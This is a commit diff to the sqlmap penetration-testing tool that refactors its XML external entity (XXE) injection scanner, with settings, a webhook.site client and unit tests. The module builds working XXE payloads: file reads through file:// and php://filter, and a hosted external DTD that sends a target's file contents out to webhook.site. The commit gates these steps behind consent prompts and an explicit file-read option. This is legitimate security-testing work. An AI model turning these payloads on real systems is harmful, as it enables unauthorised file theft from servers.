Refactoring for --xxe

This commit is contained in:
Miroslav Štampar 2026-07-04 10:36:10 +02:00
parent 5fa2da5eae
commit 3cf29a543a
6 changed files with 313 additions and 97 deletions

View file

@ -189,7 +189,7 @@ c2db614a3ce7dda889152bea8bd6d709e5d8c2b556741fdbfe44469f27ce266b lib/core/enums
9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py
0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py
888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py
d974c44979d7699feda3eafeb1baee9618cb6dbe27b144a6d36bec95527c5cee lib/core/settings.py
c8b5b430219d8bdd7e0139c2fe10a8175c55dc4ef2c1baa84fa24c4d6d8d4229 lib/core/settings.py
c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py
a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py
15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py
@ -220,14 +220,14 @@ b1f07e0571f249eedf294b7827c530b0de8c0524d445b33fdb2d0a639c0f123a lib/request/dn
92c81cc31ff4a396723242058fb2152c9e9745f8412d01ea74480b048a53af6c lib/request/httpshandler.py
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/request/__init__.py
7a0ac2522213e756348fd871a7af74cc963bdc82f9d7ade57be5de42b5bf7cab lib/request/inject.py
fa51d6c8855049ac18b8c08dfea87df3ce0ebcc094d62322e9f615284bca54af lib/request/interactsh.py
df97f7ccb437f9fda76b3d87cb5c11a01d09a0fa395c0d6bd555812cf92b70e6 lib/request/interactsh.py
ff15723c82e343eb95f4599d251165d478ca720afc8f5daaed3da44ea923df44 lib/request/keepalive.py
ada4d305d6ce441f79e52ec3f2fc23869ee2fa87c017723e8f3ed0dfa61cdab4 lib/request/methodrequest.py
43a7fdf64e7ba63c6b2d641c9f999a63c12ac23b43b64fedfce4e05b863de568 lib/request/pkihandler.py
b90feeb16e89a844427df42373b0139eb6f6cf3c48ccec32b3e3a3f540c2451e lib/request/rangehandler.py
fa347e74361904d052e4d5c958ebbdf080e4f7003176824a44786108b4d7afc6 lib/request/redirecthandler.py
1bf93c2c251f9c422ecf52d9cae0cd0ff4ea2e24091ee6d019c7a4f69de8e5eb lib/request/templates.py
58da8988a650c19e080980e545216158ba267065374c6812dabe0b22c1407bd2 lib/request/webhooksite.py
b53a750d957dc50cee15261358cafc3d339b8b28d70ebecf202009d0c13037a6 lib/request/webhooksite.py
01600295b17c00d4a5ada4c77aa688cfe36c89934da04c031be7da8040a3b457 lib/takeover/abstraction.py
d3c93562d78ebdaf9e22c0ea2e4a62adb12f0ce9e9d9631c1ea000b1a07d04ab lib/takeover/icmpsh.py
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/takeover/__init__.py
@ -258,7 +258,7 @@ c68f8259e0a89a556d049f227041849df584313bd1b5349b02f74a47778c901c lib/techniques
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/xpath/__init__.py
c61816c9dba9f6cc2223aed1a923f95130979e5f0a88ec254ee667d955ed2734 lib/techniques/xpath/inject.py
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/xxe/__init__.py
9a74178421ea0d98f7b27062e97eb55a12236deb893c2ef5f26fb6e734001f32 lib/techniques/xxe/inject.py
d9a776f37578e4c3b0498689eaff448904048b41d8ce9e758d2404a912c44ae8 lib/techniques/xxe/inject.py
2403eda0e87835a2b402cbe6927a4d2737c4e87f3d4ef9b75e7685f3d2a9dc1e lib/utils/api.py
442555ab85277aff7c9e0cf465ea5b0d28395c326f68363449b2d3941f4b6de2 lib/utils/brute.py
da5bcbcda3f667582adf5db8c1b5d511b469ac61b55d387cec66de35720ed718 lib/utils/crawler.py
@ -670,7 +670,7 @@ b03689c4dcca0e88a62a88784c61418f963c031d338a357dcc223560c8f9bd22 tests/test_use
93ef9944effc62d4f744c57bd643137c90fd92205c6a6cbe891e0e99efb80a7f tests/test_wafbypass.py
81bb6d7449f224fa337734ae361c1a340bf9a51768a854d6a1a6e718ed1263ca tests/test_wordlist.py
9d6dd551b751ab38200ab190c744ec0a9afa798b37f83b0078a4325ab3f80aec tests/test_xpath.py
140aa78a94fb97e364cead82149f5a2c33d576b721f39ae52a6352072d770793 tests/test_xxe.py
b01acaa558b4f3e87957fe2d9a59d48878a7ed26660d5676ca34ecaaa1efd2b7 tests/test_xxe.py
55eaefc664bd8598329d535370612351ec8443c52465f0a37172ea46a97c458a thirdparty/ansistrm/ansistrm.py
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/ansistrm/__init__.py
f597b49ef445bfbfb8f98d1f1a08dcfe4810de5769c0abfab7cdce4eebbfcae7 thirdparty/beautifulsoup/beautifulsoup.py

View file

@ -20,7 +20,7 @@ from lib.core.enums import OS
from thirdparty import six
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
VERSION = "1.10.7.24"
VERSION = "1.10.7.25"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
@ -1102,13 +1102,12 @@ XXE_HARDENED_REGEX = r"(?i)(?:DOCTYPE is disallowed|DTD is prohibited|(?:externa
OOB_INTERACTSH_SERVERS = ("oast.fun", "oast.pro", "oast.live", "oast.site", "oast.online", "oast.me")
# Public content-hosting + request-logging endpoint for blind-XXE OOB exfiltration
# (hosts the malicious external DTD and captures the file-bearing callback). Unlike
# interactsh it can serve arbitrary content; HTTP-only. Default exfil target is benign.
# interactsh it can serve arbitrary content; HTTP-only. Used only on explicit consent.
OOB_EXFIL_ENDPOINT = "https://webhook.site"
OOB_EXFIL_DEFAULT_FILE = "/etc/hostname"
OOB_CORRELATION_ID_LENGTH = 20
OOB_NONCE_LENGTH = 13
OOB_POLL_ATTEMPTS = 5
OOB_POLL_DELAY = 2
OOB_POLL_ATTEMPTS = 15 # generous: two-hop exfil (target fetches DTD, then calls back) over the
OOB_POLL_DELAY = 2 # target's own link + webhook.site's eventually-consistent API (best-effort)
# Time-based blind tier: an external entity aimed at this non-routable RFC5737
# TEST-NET-1 host makes a fetching parser stall on the connection, so a large,
@ -1118,9 +1117,8 @@ XXE_BLACKHOLE_HOST = "192.0.2.1"
XXE_TIME_THRESHOLD = 5
XXE_IMPACT_FILES = (
("file:///etc/os-release", r"(?i)^(?:NAME|ID|VERSION)="), # high-signal, tried first
("file:///etc/os-release", r"(?i)^(?:NAME|ID|VERSION)="), # anchored, high-signal
("file:///c:/windows/win.ini", r"(?i)\[(?:fonts|extensions|mci extensions|files)\]"),
("file:///etc/hostname", r"^[\w.-]{1,255}$"), # loosest pattern, tried last
)
# GoSecure dtd-finder local-DTD repurposing table for no-egress error-based XXE:

View file

@ -88,9 +88,13 @@ class Interactsh(object):
handlers = []
try:
# Verify TLS for the (public, valid-cert) interaction server by default;
# only skip verification when the user has globally opted out (--force-ssl-verify
# off / verifyCert False), matching sqlmap's own TLS posture.
context = ssl.create_default_context()
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
if conf.get("verifyCert") is False:
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
handlers.append(HTTPSHandler(context=context))
except Exception:
pass

View file

@ -7,11 +7,12 @@ See the file 'LICENSE' for copying permission
import json
from lib.core.data import conf
from lib.core.data import logger
from lib.core.convert import getBytes
from lib.core.convert import getText
from lib.core.enums import HTTP_HEADER
from lib.core.settings import OOB_EXFIL_ENDPOINT
from lib.request.connect import Connect as Request
# webhook.site is used for blind-XXE OOB *exfiltration*: it can both serve a custom
# response (our malicious external DTD) AND log the request the target then makes
@ -21,8 +22,9 @@ from lib.request.connect import Connect as Request
class WebhookSite(object):
"""Thin webhook.site client: mints tokens (optionally serving fixed content)
and reads back the requests captured on them. All calls go through sqlmap's
request stack (proxy/timeout honoured) straight to the service, not the target."""
and reads back the requests captured on them. Self-contained on urllib (like the
interactsh client): sqlmap's getPage caches by URL, which would make repeated
polls of the same /requests URL return a stale snapshot and miss the callback."""
def __init__(self):
# Exfil host is the public content-serving endpoint (its token API is
@ -32,10 +34,28 @@ class WebhookSite(object):
def _api(self, path, post=None):
try:
import ssl
try:
from urllib.request import Request as _Request, build_opener, ProxyHandler, HTTPSHandler
except ImportError:
from urllib2 import Request as _Request, build_opener, ProxyHandler, HTTPSHandler
headers = {HTTP_HEADER.CONTENT_TYPE: "application/json"} if post is not None else {HTTP_HEADER.ACCEPT: "application/json"}
page, _, code = Request.getPage(url="%s%s" % (self.endpoint, path), post=post,
auxHeaders=headers, direct=True, silent=True, raise404=False)
return page if (code is None or code in (200, 201)) else None
handlers = []
try:
context = ssl.create_default_context()
if conf.get("verifyCert") is False:
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
handlers.append(HTTPSHandler(context=context))
except Exception:
pass
if conf.get("proxy"):
handlers.append(ProxyHandler({"http": conf.proxy, "https": conf.proxy}))
request = _Request("%s%s" % (self.endpoint, path), data=getBytes(post) if post is not None else None, headers=headers)
response = build_opener(*handlers).open(request, timeout=conf.get("timeout") or 30)
return getText(response.read())
except Exception as ex:
logger.debug("webhook.site request to '%s' failed: %s" % (path, getText(ex)))
return None

View file

@ -11,6 +11,7 @@ import time
from lib.core.common import beep
from lib.core.common import dataToOutFile
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.common import singleTimeWarnMessage
from lib.core.convert import getBytes
from lib.core.convert import getText
@ -21,12 +22,12 @@ from lib.core.data import logger
from lib.core.dicts import POST_HINT_CONTENT_TYPES
from lib.core.enums import CUSTOM_LOGGING
from lib.core.enums import HTTP_HEADER
from lib.core.enums import HTTPMETHOD
from lib.core.settings import ASTERISK_MARKER
from lib.core.settings import XXE_BLACKHOLE_HOST
from lib.core.settings import XXE_ERROR_SIGNATURES
from lib.core.settings import XXE_HARDENED_REGEX
from lib.core.settings import XXE_IMPACT_FILES
from lib.core.settings import OOB_EXFIL_DEFAULT_FILE
from lib.core.settings import OOB_POLL_ATTEMPTS
from lib.core.settings import OOB_POLL_DELAY
from lib.core.settings import XXE_LOCAL_DTDS
@ -38,6 +39,14 @@ from lib.request.connect import Connect as Request
# so its presence in a response is unambiguously our reflected/expanded value.
SENTINEL = randomStr(length=12, lowercase=True)
# When the user marked an explicit injection point in the body (e.g. '<n>luther*</n>'),
# it is preserved as this placeholder and used as the SOLE injection spot, instead of
# rewriting every node - so schema/signature/id/auth-sensitive documents stay intact.
_MARKER = None
# Cached answer to the one-time "use a public OOB service?" consent prompt (per scan).
_OOB_CONSENT = None
# First element of the document (skipping the <?xml?> prolog, comments and any
# DOCTYPE). Its name must match the DOCTYPE name or libxml2/Xerces reject the doc.
_ROOT_RE = re.compile(r"<\s*([A-Za-z_][\w.\-]*(?::[\w.\-]+)?)")
@ -52,13 +61,41 @@ def _looksXml(data):
return data.startswith("<") and re.search(r"<[A-Za-z_?!]", data) is not None and '>' in data
def _toSystemId(path):
"""Normalise a user file path (Unix, Windows, or already a URI) to a file:// systemId,
consistently across every tier."""
p = getText(path or "").strip()
if "://" in p:
return p
return "file:///" + p.replace("\\", "/").lstrip("/")
def _toResource(path):
"""Plain absolute path for a php://filter 'resource=' argument (URI/backslashes stripped)."""
p = getText(path or "").strip()
if p.startswith("file://"):
p = p[len("file://"):]
p = p.replace("\\", "/")
if re.match(r"^/?[A-Za-z]:/", p): # keep a Windows drive path as 'C:/...'
return p.lstrip("/")
return "/" + p.lstrip("/")
def _cleanBody():
"""Return the original request body with sqlmap's injection marks removed.
Order matters: drop the injected custom marks first (any literal '*' from the
original body was already escaped to ASTERISK_MARKER by target processing),
then restore those escaped asterisks."""
global _MARKER
_MARKER = None
data = getText(conf.data or "")
data = data.replace(kb.customInjectionMark or "\x00", "")
mark = kb.customInjectionMark or "\x00"
if kb.get("processUserMarks") and mark in data:
# user chose the injection point explicitly - honour it as the SOLE spot
_MARKER = "xxemark%s" % randomStr(10, lowercase=True)
data = data.replace(mark, _MARKER, 1).replace(mark, "")
else:
data = data.replace(mark, "")
data = data.replace(ASTERISK_MARKER, "*")
return data.lstrip(u"\ufeff\ufffe") # drop a leading BOM so root/DOCTYPE handling stays correct
@ -86,6 +123,9 @@ def _send(body):
if conf.delay:
time.sleep(conf.delay)
if _MARKER and not isinstance(body, bytes) and _MARKER in body:
body = body.replace(_MARKER, "") # strip any unreplaced placeholder before sending
try:
if conf.verbose >= 3:
logger.log(CUSTOM_LOGGING.PAYLOAD, getUnicode(body))
@ -132,6 +172,9 @@ def _placeRef(xml, snippet, attrs=False):
for the external/XInclude tiers or the document becomes ill-formed). Falls back to
injecting just before the root's closing tag when there is no text node at all."""
if _MARKER and _MARKER in xml:
return xml.replace(_MARKER, snippet) # honour the user's explicit injection point
start = re.search(r"\]>", xml).end() if "]>" in xml else 0
head, tail = xml[:start], xml[start:]
tail, count = _TEXTNODE_RE.subn(lambda _: ">" + snippet + "<", tail)
@ -169,19 +212,25 @@ def _fingerprint(page):
def _echoed(page):
"""True when the response mirrors our raw markup back. Essential guard for the
sentinel-in-path oracles: a debug/echo endpoint that never parses XML would
otherwise reflect the sentinel (it is inside the body we sent) and look like a
genuine parser error. A real error surfaces only the path/message, not the
DOCTYPE/entity declarations."""
page = getUnicode(page or "")
return "<!DOCTYPE" in page or "<!ENTITY" in page
"""True when the response mirrors our markup back (a debug/echo endpoint that
never parses XML). Since our sentinel lives inside the DOCTYPE/ENTITY declaration
we send, an echo would otherwise look like a genuine reflected/error hit. We match
the declaration in raw AND escaped forms (HTML-entity, decimal/hex numeric, and
percent-encoded) so an app that HTML-escapes or URL-encodes the reflected body is
still recognised as an echo regardless of whether decodePage normalised it."""
page = getUnicode(page or "").lower()
for kw in ("!doctype", "!entity"):
for lt in ("<", "&lt;", "&#60;", "&#x3c;", "%3c", "\\u003c"):
if lt + kw in page:
return True
return False
def _report(title, payload):
if conf.beep:
beep()
conf.dumper.singleString("---\nParameter: XML body ((custom) POST)\n Type: XXE injection\n Title: %s\n Payload: %s\n---" % (title, payload))
place = "%s XML body" % (conf.method or HTTPMETHOD.POST)
conf.dumper.singleString("---\nParameter: %s\n Type: XXE injection\n Title: %s\n Payload: %s\n---" % (place, title, payload))
def _dumpFileRead(remoteFile, content):
@ -235,10 +284,9 @@ def _tryInbandFileRead(xml, rootName, fileName):
from lib.core.convert import decodeBase64
resource = fileName if fileName.startswith("/") else "/" + fileName
m1, m2 = randomStr(8, lowercase=True), randomStr(8, lowercase=True)
for systemId, isB64 in (("file://%s" % resource, False),
("php://filter/convert.base64-encode/resource=%s" % resource, True)):
for systemId, isB64 in ((_toSystemId(fileName), False),
("php://filter/convert.base64-encode/resource=%s" % _toResource(fileName), True)):
ent = randomStr(8, lowercase=True)
subset = '<!ENTITY %s SYSTEM "%s">' % (ent, systemId)
payload = _placeRef(_buildDoctype(xml, rootName, subset), "%s&%s;%s" % (m1, ent, m2))
@ -274,14 +322,14 @@ def _tryExternalFile(xml, rootName, baseline):
def _tryPhpFilter(xml, rootName, baseline):
"""PHP-only in-band read that survives newlines/binary: base64 a source file
through php://filter. Confirmed when the reflection decodes to file content."""
"""PHP-only in-band read (base64 via php://filter). Used only as a benign in-band
impact demonstration -> reads /etc/os-release; it deliberately never probes
/etc/passwd here (a specific file is read only on explicit '--file-read')."""
from lib.core.convert import decodeBase64
baselineTokens = set(re.findall(r"[A-Za-z0-9+/]{16,}={0,2}", getUnicode(baseline or "")))
for systemId, pattern in (("file:///etc/passwd", r":0:0:"), ("file:///etc/os-release", r"(?i)^(?:NAME|ID|VERSION)=")):
resource = systemId[len("file://"):]
for resource, pattern in (("/etc/os-release", r"(?i)^(?:NAME|ID|VERSION)="),):
ent = randomStr(length=8, lowercase=True)
subset = '<!ENTITY %s SYSTEM "php://filter/convert.base64-encode/resource=%s">' % (ent, resource)
payload = _placeRef(_buildDoctype(xml, rootName, subset), "&%s;" % ent)
@ -328,22 +376,24 @@ def _tryLocalDtd(xml, rootName):
return None, ""
def _tryErrorExfil(xml, rootName):
def _tryErrorExfil(xml, rootName, errorChannel=False):
"""In-band error-based file EXFILTRATION: coerce the parser into an error whose
message embeds the target file's contents (not just a sentinel). Two vehicles:
(a) repurpose a local on-disk DTD -> NO egress at all, or (b) a DTD we host on
the exfil service -> needs egress to fetch it plus verbose errors. php://filter
base64 carries a whole multi-line file intact; raw file:// leaks the first line
on any parser. Returns (content, filename) or (None, None)."""
the exfil service -> needs egress to fetch it plus verbose errors, so it is only
attempted when an error channel was already confirmed (else it is pointless and
just burns third-party requests). php://filter base64 carries a whole multi-line
file intact; raw file:// leaks the first line. Returns (content, filename)."""
from lib.core.convert import decodeBase64
fileName = conf.get("fileRead") or OOB_EXFIL_DEFAULT_FILE
resource = fileName if fileName.startswith("/") else "/" + fileName
fileName = conf.get("fileRead")
if not fileName:
return None, None
marker = randomStr(10, lowercase=True)
# (systemId, isBase64): base64 first (whole file, PHP), raw fallback (first line, any parser)
reads = (("php://filter/convert.base64-encode/resource=%s" % resource, True),
("file://%s" % resource, False))
reads = (("php://filter/convert.base64-encode/resource=%s" % _toResource(fileName), True),
(_toSystemId(fileName), False))
def _extract(page, isB64):
pattern = (r"file:/+%s/([A-Za-z0-9+/=]+)" if isB64 else r"file:/+%s/([^\s'\"<>;)]+)") % re.escape(marker)
@ -368,8 +418,9 @@ def _tryErrorExfil(xml, rootName):
if content:
return content, fileName
# (b) DTD we host on the exfil service - egress + verbose errors (third party)
if not _oobEnabled():
# (b) DTD we host on the exfil service - egress + verbose errors (third party):
# skip on a blind target (no error channel) and without explicit OOB consent
if not (errorChannel and _oobConsent()):
return None, None
from lib.request.webhooksite import WebhookSite
wh = WebhookSite()
@ -469,11 +520,26 @@ def _tryTimeBlind(xml, rootName):
def _oobEnabled():
"""Out-of-band tiers contact a public third party by default. Honour an explicit
opt-out (`--oob-server none`) for sensitive engagements."""
"""False when the user opted out of OOB entirely (`--oob-server none`)."""
return (conf.get("oobServer") or "").strip().lower() not in ("none", "off", "0", "no", "disable", "false")
def _oobConsent():
"""True only when the user has opted into contacting a third-party OOB service:
either explicitly (`--oob-server <host>`) or by answering the one-time prompt,
which defaults to NO - so '--batch' never silently phones a public service."""
global _OOB_CONSENT
if not _oobEnabled():
return False
if conf.get("oobServer"):
return True
if _OOB_CONSENT is None:
message = "do you want sqlmap to use a public out-of-band service "
message += "(interactsh/webhook.site) for blind XXE? [y/N] "
_OOB_CONSENT = readInput(message, default='N', boolean=True)
return _OOB_CONSENT
def _tryOobExfil(xml, rootName):
"""T7 out-of-band EXFILTRATION for blind XXE: host a malicious external DTD on
a public content+logging service (webhook.site), point the target's parser at
@ -486,17 +552,24 @@ def _tryOobExfil(xml, rootName):
from lib.core.convert import decodeBase64
from lib.request.webhooksite import WebhookSite
fileName = conf.get("fileRead")
if not fileName:
return None
wh = WebhookSite()
exfilToken = wh.newToken()
if not exfilToken:
logger.debug("out-of-band exfiltration tier skipped (could not reach the exfil service)")
return None
target = conf.get("fileRead") or OOB_EXFIL_DEFAULT_FILE
exfilUrl = "%s/?x=%%file;" % wh.hostUrl(exfilToken)
marker = randomStr(10, lowercase=True)
# Carry the base64 in the URL PATH, not the query: query parsers turn '+' into a
# space and mangle '/'/'=', corrupting the payload. In the path those bytes survive
# and webhook.site logs the raw request URL, which we regex back out.
exfilUrl = "%s/%s/%%file;" % (wh.hostUrl(exfilToken), marker)
dtd = ('<!ENTITY %% file SYSTEM "php://filter/convert.base64-encode/resource=%s">\n'
'<!ENTITY %% eval "<!ENTITY &#x25; exfil SYSTEM \'%s\'>">\n'
'%%eval;\n%%exfil;') % (target, exfilUrl)
'%%eval;\n%%exfil;') % (_toResource(fileName), exfilUrl)
dtdToken = wh.newToken(dtd)
if not dtdToken:
return None
@ -506,15 +579,16 @@ def _tryOobExfil(xml, rootName):
_send(payload)
content, detected = None, False
pattern = re.compile(r"/%s/([A-Za-z0-9+/=]+)" % re.escape(marker))
for _ in range(OOB_POLL_ATTEMPTS):
time.sleep(OOB_POLL_DELAY)
for record in wh.captured(exfilToken):
leaked = (record.get("query") or {}).get("x")
if leaked:
match = pattern.search(getText(record.get("url") or ""))
if match:
try:
content = getText(decodeBase64(leaked))
content = getText(decodeBase64(match.group(1)))
except Exception:
content = getText(leaked)
content = match.group(1)
break
if content:
break
@ -523,7 +597,7 @@ def _tryOobExfil(xml, rootName):
if not detected:
detected = bool(wh.captured(dtdToken))
return {"payload": payload, "filename": target, "content": content, "detected": detected}
return {"payload": payload, "filename": fileName, "content": content, "detected": detected}
def _tryOob(xml, rootName):
@ -560,8 +634,9 @@ def _tryOob(xml, rootName):
def xxeScan():
global SENTINEL
global SENTINEL, _OOB_CONSENT
SENTINEL = randomStr(length=12, lowercase=True)
_OOB_CONSENT = None
debugMsg = "'--xxe' is self-contained: it detects XML External Entity injection "
debugMsg += "in the request body and demonstrates file-read impact. SQL enumeration "
@ -583,29 +658,30 @@ def xxeScan():
baseline = _send(xml)
found = False
# T2: in-band reflected (internal entity expansion) - the strongest oracle
# T2: in-band reflected DTD/internal-entity expansion. This proves the parser
# processes entities; it is NOT yet external-entity file-read impact - so the
# finding is worded conservatively and escalated only if an actual read follows.
payload, page = _tryInternal(xml, rootName, baseline)
if payload:
found = True
logger.info("the XML body is vulnerable to XXE injection (in-band, entity expansion enabled)")
_report("In-band (reflected internal entity)", payload)
logger.info("the XML body processes DTD/internal entities (in-band reflection confirmed)")
_report("In-band DTD/internal entity expansion", payload)
if conf.get("fileRead"):
content = _tryInbandFileRead(xml, rootName, conf.fileRead)
if content:
logger.info("in-band file read of '%s' succeeded" % conf.fileRead)
logger.info("in-band XXE file-read impact confirmed for '%s'" % conf.fileRead)
_report("In-band file read ('%s')" % conf.fileRead, "<in-band reflected read of '%s'>" % conf.fileRead)
_dumpFileRead(conf.fileRead, content)
systemId, snippet = _tryExternalFile(xml, rootName, baseline)
if systemId:
logger.info("file-read impact confirmed via external entity ('%s'): '%s'" % (systemId, snippet))
_report("Out-of-band file read (external entity '%s')" % systemId, "<!ENTITY xxe SYSTEM \"%s\"> -> %s" % (systemId, snippet))
else:
phpPayload = _tryPhpFilter(xml, rootName, baseline)
if phpPayload:
logger.info("file-read impact confirmed via php://filter (base64 source disclosure)")
_report("File read via php://filter (base64)", phpPayload)
# benign, in-band impact demonstration (data stays in the response, no third party)
systemId, snippet = _tryExternalFile(xml, rootName, baseline)
if not systemId:
snippet = _tryPhpFilter(xml, rootName, baseline)
systemId = "php://filter" if snippet else None
if systemId:
logger.info("in-band XXE file-read impact confirmed (external entity, e.g. '%s')" % systemId)
_report("In-band file-read impact (external entity '%s')" % systemId, "<external-entity read of a benign file for impact>")
# T3: error-based (works where entities are not reflected but errors leak)
errorChannel = False
@ -626,13 +702,14 @@ def xxeScan():
logger.info("the XML body is vulnerable to XXE injection (error-based via local-DTD repurposing, no egress required)")
_report("Error-based (local-DTD repurposing, back-end: '%s')" % backend, payload)
# T3c: error-based FILE EXFILTRATION - upgrade a confirmed error channel to an
# in-band file read (or attempt it directly when the user asked via --file-read)
if errorChannel or conf.get("fileRead"):
content, fileName = _tryErrorExfil(xml, rootName)
# T3c: error-based FILE EXFILTRATION - only on an explicit '--file-read' request.
# The local-DTD vehicle is always tried (no egress); the remote-DTD vehicle needs
# both a confirmed error channel (pointless on a blind target) and OOB consent.
if conf.get("fileRead"):
content, fileName = _tryErrorExfil(xml, rootName, errorChannel)
if content:
found = True
logger.info("the XML body is vulnerable to XXE injection (error-based in-band file read of '%s')" % fileName)
logger.info("error-based in-band XXE file read of '%s' succeeded" % fileName)
_report("Error-based in-band file read ('%s')" % fileName, "<error-based exfiltration of '%s'>" % fileName)
_dumpFileRead(fileName, content)
@ -661,27 +738,28 @@ def xxeScan():
logger.info("the XML body is vulnerable to XXE injection (time-based blind, external entity resolution reaches out-of-band)")
_report("Time-based blind (external entity to non-routable host)", payload)
# T7: out-of-band exfiltration via a hosted malicious DTD (also confirms blind XXE)
if not found and _oobEnabled():
exfil = _tryOobExfil(xml, rootName)
if exfil and (exfil["content"] or exfil["detected"]):
found = True
if exfil["content"]:
logger.info("the XML body is vulnerable to blind XXE injection (out-of-band file read of '%s')" % exfil["filename"])
_report("Out-of-band blind file read ('%s')" % exfil["filename"], exfil["payload"])
_dumpFileRead(exfil["filename"], exfil["content"])
else:
logger.info("the XML body is vulnerable to blind XXE injection (out-of-band, target fetched the hosted DTD)")
_report("Out-of-band blind (hosted-DTD callback)", exfil["payload"])
# T8: out-of-band blind confirmation via an interaction server (DNS+HTTP callback)
if not found and _oobEnabled():
result = _tryOob(xml, rootName)
if result:
payload, protocol = result
found = True
logger.info("the XML body is vulnerable to XXE injection (out-of-band, confirmed via %s interaction with the collector)" % protocol)
_report("Out-of-band blind (collector callback: %s)" % protocol, payload)
# T7: out-of-band tiers - THIRD PARTY, so only on explicit consent (default NO).
# Low-impact callback confirmation is the default; actual file exfiltration is
# attempted only when the user explicitly asked for a file via '--file-read'.
if not found and _oobConsent():
if conf.get("fileRead"):
exfil = _tryOobExfil(xml, rootName)
if exfil and (exfil["content"] or exfil["detected"]):
found = True
if exfil["content"]:
logger.info("blind XXE out-of-band file read of '%s' succeeded" % exfil["filename"])
_report("Out-of-band blind file read ('%s')" % exfil["filename"], exfil["payload"])
_dumpFileRead(exfil["filename"], exfil["content"])
else:
logger.info("blind XXE confirmed (out-of-band; target fetched the hosted DTD)")
_report("Out-of-band blind (hosted-DTD callback)", exfil["payload"])
else:
result = _tryOob(xml, rootName)
if result:
payload, protocol = result
found = True
logger.info("blind XXE confirmed (out-of-band %s callback to the interaction server)" % protocol)
_report("Out-of-band blind (collector callback: %s)" % protocol, payload)
if not found:
# Reachable-but-not-exploitable diagnostics: distinguish a hardened parser

View file

@ -77,6 +77,17 @@ class TestBuildDoctype(unittest.TestCase):
self.assertIn(self.SUBSET, out)
self.assertIn("[", out)
def test_existing_internal_subset_with_gt_in_entity_value(self):
# a '>' inside a quoted entity value must not fool the internal-subset splice
out = xxe._buildDoctype('<!DOCTYPE r [<!ENTITY a "x>y">]><r>z</r>', "r", self.SUBSET)
self.assertEqual(out.count("<!DOCTYPE"), 1)
self.assertIn(self.SUBSET, out)
def test_existing_external_subset(self):
out = xxe._buildDoctype('<!DOCTYPE r SYSTEM "http://x/r.dtd"><r>z</r>', "r", self.SUBSET)
self.assertEqual(out.count("<!DOCTYPE"), 1)
self.assertIn("[", out)
class TestPlaceRef(unittest.TestCase):
def test_all_text_nodes(self):
@ -110,6 +121,14 @@ class TestGuards(unittest.TestCase):
self.assertTrue(xxe._echoed("mirror <!ENTITY x ..."))
self.assertFalse(xxe._echoed("Hello, expanded value!"))
def test_echoed_escaped_forms(self):
# a debug endpoint that reflects the body in escaped form is still an echo
self.assertTrue(xxe._echoed("You sent: &lt;!DOCTYPE r [&lt;!ENTITY e ...")) # HTML-entity
self.assertTrue(xxe._echoed("You sent: %3C!ENTITY e ...")) # percent-encoded
self.assertTrue(xxe._echoed("You sent: &#x3c;!DOCTYPE ...")) # hex numeric
self.assertTrue(xxe._echoed("json {\\u003c!ENTITY e ...}")) # JSON \\u escape
self.assertFalse(xxe._echoed("result: sentineltoken1")) # pure expanded value
def test_fingerprint(self):
self.assertIsNotNone(xxe._fingerprint('failed to load external entity "file:///x"'))
self.assertIsNotNone(xxe._fingerprint('failed to load "file:///x": No such file')) # PHP form
@ -141,6 +160,103 @@ class TestOobToggle(unittest.TestCase):
conf.oobServer = None
class TestOobConsent(unittest.TestCase):
"""No third-party OOB without explicit opt-in: --oob-server none disables it,
an explicit server opts in, and an unset server under --batch defaults to NO."""
def setUp(self):
self._batch = conf.get("batch")
conf.batch = True
xxe._OOB_CONSENT = None
def tearDown(self):
conf.batch = self._batch
conf.oobServer = None
xxe._OOB_CONSENT = None
def test_none_denies(self):
conf.oobServer = "none"
self.assertFalse(xxe._oobConsent())
def test_explicit_server_opts_in(self):
conf.oobServer = "my.interactsh.example"
self.assertTrue(xxe._oobConsent())
def test_unset_under_batch_defaults_no(self):
conf.oobServer = None
self.assertFalse(xxe._oobConsent()) # readInput returns the 'N' default under --batch
class TestPathNorm(unittest.TestCase):
def test_unix(self):
self.assertEqual(xxe._toSystemId("/etc/passwd"), "file:///etc/passwd")
self.assertEqual(xxe._toResource("/etc/passwd"), "/etc/passwd")
def test_windows(self):
self.assertEqual(xxe._toSystemId("C:\\Windows\\win.ini"), "file:///C:/Windows/win.ini")
self.assertEqual(xxe._toResource("C:\\Windows\\win.ini"), "C:/Windows/win.ini")
def test_already_uri(self):
self.assertEqual(xxe._toSystemId("file:///etc/passwd"), "file:///etc/passwd")
self.assertEqual(xxe._toSystemId("php://filter/x"), "php://filter/x")
self.assertEqual(xxe._toResource("file:///etc/passwd"), "/etc/passwd")
class TestMarkerHonored(unittest.TestCase):
def tearDown(self):
xxe._MARKER = None
def test_place_ref_honors_marker(self):
xxe._MARKER = "xxemarkzzzz"
out = xxe._placeRef("<u><n>xxemarkzzzz</n><m>other</m></u>", "&e;")
self.assertIn("<n>&e;</n>", out)
self.assertIn("<m>other</m>", out) # other node left intact
self.assertNotIn("xxemarkzzzz", out)
def test_clean_body_sets_marker_on_user_marks(self):
